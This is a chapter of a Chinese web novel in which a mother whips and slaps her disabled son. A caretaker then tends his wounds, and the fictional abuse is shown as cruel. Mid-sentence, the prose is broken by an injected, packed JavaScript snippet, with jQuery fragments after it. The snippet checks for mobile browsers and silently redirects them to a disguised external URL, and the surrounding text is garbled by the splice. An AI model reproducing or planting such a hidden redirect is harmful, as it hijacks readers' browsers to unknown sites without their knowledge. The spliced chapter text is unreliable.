5. 神明

作品:《神明溺我

    陆为舟被陆冰从地上拎着领子抓起来,母子俩对视,陆冰看着那双和前夫相似的眼睛,又哭又笑,淬了毒一样看他,涂着口红的嘴张开,像是吃人的美艳妖怪:“叫啊!!你怎么不叫!!哑巴了?!你怎么不哭!!他死了你为什么不哭!!你是不是巴不得他死?哈哈哈!……我也巴不得他死!!果然我们母子是一样的……!”


    她哭起来,哭得很伤心,趴在儿子残废的腿上,泪也留在上面,混合着陆为舟的血,模糊不清。


    咸涩的眼泪浸到伤口里,陆为舟眼中闪过毫不掩饰的厌恶。


    “他死了,你为什么还要活着?你是他的种,你应该和他一起死……”


    陆为舟安静地听着母亲的咒骂,像是麻木的木偶傀儡一般,偶尔眨眨眼,不说一句话,听见母亲问他怎么不死时,流血的嘴角勾着笑。


    毛西站在一旁,觉得那笑很瘆人,不想再看母子相残的场面,她选择出去,站在门口。


    陆冰不知道哭了多久,渐渐没了声息,房间里安静了大概几秒钟,陆冰忽而抬起哭花的脸,冷冰冰地问:“小船,你爸爸写得信放在哪里了,告诉妈妈。”


    她像是切换到了什么模式,又变回陆为舟记忆里看起来冷漠却极其爱家庭的妈妈。


    陆冰放低了声音,流露些许温柔,捧着儿子布满掌印的脸:“告诉妈妈,你爸爸写得信呢?”


    陆为舟冲她露出一个笑,笑得很乖巧,那张脸融合的父母优秀的长相,带着些少年的稚气和风流,薄薄的唇瓣一张一合:“妈妈?……我不知道呢。”


    “贱、种!!”陆冰抬手给了他一巴掌,响亮清脆。


    陆为舟偏了偏头,侧过脸时,忽而就笑不出来了。


    毛西一转头,瞥到门口站着一个瘦弱的女孩


    景橙畏畏缩缩像个误入丛林的小兔子,踌躇不前,毛西叫住她:“景小姐?你怎么上来了?”


    毛西没拦住景橙,目睹了陆为舟被扇巴掌的直播现场,还看到了地上的鞭子。


    这是什么大型虐待现场?


    景橙害怕极了,她觑了一眼地上的陆为舟,恰好与他的视线撞上,瞳孔骤缩,再不敢看第二眼,转过头,憋出一个自认淡定的笑:“那个,我看快到午饭时间了,我来问问大家想吃什么?……萝卜可以吗?”


    陆冰转过头,脸上还有没收起的凶狠,眯着眼看人时气势很足。


    她站起来,想起这小姑娘是她找来的。


    为什么找她来着?看着好拿捏?乖巧?


    不重要,反正她的作用就是在陆为舟死的时候及时告诉她。


    景橙狗腿地跟陆冰笑,追问道:“陆董不喜欢吃萝卜吗?喜欢吃什么?冰箱里还有排骨,排骨炖萝卜可以吗?我还种了些有机蔬菜,等到成熟了可以请陆董过来尝尝……”


    陆冰蹙着眉看她。


    毛西皱了皱眉,将景橙拉到她这边。


    这姑娘怎么有点傻乎乎的,没看到这是什么场合,还这么若无旁人,之前的机灵劲呢?


    “景小姐,陆董很忙,就不在这吃饭了,你好好照顾陆少就行了。”毛西看着陆冰的脸色,打着圆场。


    “哦好,那下次再让陆董尝尝我的手艺。”


    陆冰不会在一个无关紧要的人身上浪费时间,忽然被这么一打断,人也累了,低头看了一眼地上紧闭双目的人,抬脚跨过,捡起地上的鞭子,吩咐毛西:“今天就让他疼,明天再给他找医生。”


    毛西:“是。”


    陆冰冲景橙露出一个笑:“你去洗。”血淋淋的鞭子被递到景橙面前。


    景橙往后缩了缩,紧张地咽口水。


    “怎么,不想?”


    “……不不不,”景橙连忙接过去,“我现在去。”


    景橙洗鞭子时有些懊恼,她就应该在一楼呆着,好好的发什么昏。


    鞭子洗好后,景橙交给了毛西,毛西把手机还给她,语气警告:“记住,今天的听到的看到的,都给我忘了。”


    景橙识相地点点头,跟着毛西一起离开那个充满血腥味的房间,关上门。


    老板大驾光临她不知道没有迎接,老板要走了她要拿出恭敬欢送的态度。


    景橙将两人送出别墅大门,毛西坐上驾驶座,后座的门还没关上,陆冰在上面坐着,敲着二郎腿,红底高跟鞋一点一晃,慢条斯理地用湿巾擦拭着双手,挑眉问:“你叫……”


    景橙莞尔,“我叫景橙,景色的景,橙子的橙。”


    陆冰弯嗤笑一声,把湿纸巾甩到景橙怀里:“听说你养了一只猫?还抓伤了人?”


    脊背瞬间爬上寒意,景橙接住纸巾,着急忙慌地替肉肉解释:“是只幼猫,可能野惯了有些不听话,我会好好教它,绝不会再出现咬人的事!”


    对上陆冰似笑非笑的眼睛,一股凉气沉到心底,肉肉怕是养不了了。


    景橙已经在心底盘算着在哪给肉肉安个家了。


    “紧张什么,善良的孩子。”陆冰语气欣慰,烈焰红唇笑起来像是小时候在电视剧里看到的那些妩媚妖怪,“他怕猫怕狗,因为以前没少被这些畜生咬,没出息的很。”


    这个“他”指的是谁,不言而喻。


    景橙这才明白那天陆为舟反应那么大的原因,尽管震惊,但不露声色。


    车窗关上,陆冰半靠着真皮座椅,不看她一眼,说:“继续养着吧。”


    车子扬长而去。


    鸡飞狗跳的几个小时就这样画上句号。


    景橙低头看了一眼手机。毛西拽她到身边时还给了她,景橙猜到,毛秘书可能是怕她拍视频傻的,但她根本不会。


    毛秘书悄悄在她耳边、温温柔柔地警告她:“聪明点,你最好对陆家一无所知。”


    她一点都不想知道啊。


    景橙苦着个脸,呼出一口浊气,转身进门。


    里面还有一个大麻烦在等着她。


    -


    陆为舟可能被打了几个小时,这个认知跳出来时,景橙紧蹙着眉,心里诡异地升起一些愧疚。


    她安慰自己,她没能耐只是一个普通人,怎么可能拦得住陆家掌权人打人呢?弄不好赔了夫人又折兵。


    少年被打也许没有发出惨叫,也许惨叫声太小她在一楼没听见,无论是哪种,她都觉得陆为舟这人忍耐力超强。


    她在一楼坐立难安时,没想到一个母亲能对亲儿子下此毒手。


    推开门,陆为舟躺在血迹斑斑的地板上,明媚的午后阳光温暖着冰冷没有人气的房间,但这些与地上的人毫无关系,反倒衬托得他更加死气沉沉。


    景橙喊了他一声:“陆为舟?”


    他的身体一动不动。


    像是真的死了一样。


    景橙走过去,就算是心里有准备,但真的近距离观察他身上的伤痕,还是倒吸一口凉气。


    全身上下快没一处好肉了,人又瘦骨嶙峋的,再打得重点,怕是能看到骨头,景橙不自觉流露出心疼,虽然知道这人不值得心疼。


    景橙戳了戳他肩膀上一块好肉:“喂……陆为舟?”


    地上的人细细地喘气,偶尔疼得抖一下,两个肩胛骨像是蝴蝶振翅。


    景橙不能看着他在地上自生自灭,她架起他的咯吱窝,避开伤口,慢慢将人拖到床上。


    中间陆为舟睁眼过,呻吟了几声,想努力抬起脖子看拖他的人是谁,又因为太虚弱晕过去。


    陆冰让医生明天来,那就说明陆为舟今天得不到治疗,景橙感叹一句这妈妈真狠心,比她妈罚她一天不能吃饭还狠心,当然这不能相提并论。


    幸好家里有临时救急的医疗包,景橙处理伤口不太熟练,轻伤还行,但陆为舟这咋看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165435|196690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都不轻啊,她一边上网搜索一边按照流程消毒。


    因为他背上是伤口,景橙就让人在床上趴着,累的满头大汗,上网搜索太认真所以皱着眉,看得一知半解了再去处理伤口。


    正要脱陆为舟的衣服,一转头发现他眼睛是看着她的,漆黑沉闷,不知道看了多久,总之很吓人,像是某种幼兽暗戳戳盯着你等着扑食。


    景橙愣了一下:“醒了?”


    “忍忍吧,我要消毒了。”提醒过后,景橙毫不留情地把纱布按了上去。


    陆为舟开始柔弱地挣扎:“不准……”


    “忍一忍。”景橙很温柔地说。伤口如果不尽快处理,等到明天医生来,只怕会恶化。


    “嘶……”陆为舟的额头脸上全身冷汗,后背的肌肉和骨头收缩着,看起来真的很疼,身上也没有力气再阻止她。


    景橙的声音愈来愈柔,陆为舟意识朦胧,觉得窗外的天地都是倒转的,那双手抚过的地方泛起奇异的战栗。


    上完药,已经是下午三点了,陆为舟到底是睡着了还是疼昏了,景橙也拿不准,她能做得只有那么多,折腾那么久,她现在饿的前胸贴后背。


    她要给人做饭,还要给小猫做饭,都是嘴等着她喂呢。


    饭做好后,景橙把陆为舟晃醒了,陆为舟挣扎着看她,眼睛似乎快要睁不开。


    景橙没有愧疚,轻柔地把人翻了个身,让他靠在软枕上,他疼得面目有些抽搐,却说不出话。


    冰凉的瓷勺抵在他唇上:“张嘴。”


    像是等着鹰妈妈喂食的雏鸟,陆为舟张开苍白的唇瓣,一勺寡淡软烂的粥从喉咙送到胃里。


    景橙一直重复机械地喂食动作,陆为舟迷瞪的眼睛也逐渐清明,沉默地盯人。


    她觉得自己现在像是老妈子,操不完的心。


    景橙把自己当作没有感情的照顾人的机器,皱着眉思考着另一件事。


    喂完粥后,景橙干脆利落地给他擦嘴,他也没躲,心里还有些奇怪,为什么他那么乖,为什么没有冲她吐难听的话,是因为被打之后在她这觉得丢面子吗?


    看不来别人消沉的善良小橙,决定安慰他一句:“我以前也会被我妈打,她虽然没用鞭子,但用得是皮条子,你知道皮条子是什么吗?就是那种很细很长的树枝,打在身上也可疼了。”


    陆为舟没说话,景橙觉得尴尬,但还是多讲了一句:“她每次打我我就一边哭一边叫妈妈,喊着疼叫她别打了,有时候管用有时候没用。”


    陆为舟似乎扯了下唇角,终于开了金口,幽幽道:“你想让我求陆冰?让我喊疼?”


    景橙犹豫地点点头。


    陆为舟笑了,眼睛亮亮的,很好看,像橱柜里一碰就碎的陶瓷娃娃,要是不是嘲笑的笑,会更好看。


    景橙对此免疫,不计较,收拾碗筷要走了。


    临走之前,她还要帮助陆为舟翻身,但是被拒绝了,可能是趴着不舒服吧,景橙理解。


    陆为舟提出了一个要求,令景橙挺吃惊的。他掀起眼皮,理直气壮:“还有糖吗?”


    景橙愣住,掏了掏兜,四个兜都翻了,在裤兜里翻出一个尘封已久的糖,觑了他一眼,怕他嫌弃还吹了吹上面不存在的灰:“你要吗?”


    陆为舟等着她剥开,他没力气。


    这糖在她兜里已经有些融化了,糖纸和糖黏在一起,不太好剥,景橙的手会不可避免地碰到糖,化了的糖液沾了一些在她手指。


    但陆为舟这样一个看起来有洁癖的人,居然吃了。


    他含着糖,似乎皱了一下眉,一侧腮帮鼓起:“你忙去吧。”


    景橙对他的行为有些迷惑了,明明被亲妈打了,还打得这么狠,却那么平静,甚至她以为他有些失意可能都是她误会了,不会是被打习惯了吧?


    如果是,那还挺惨的。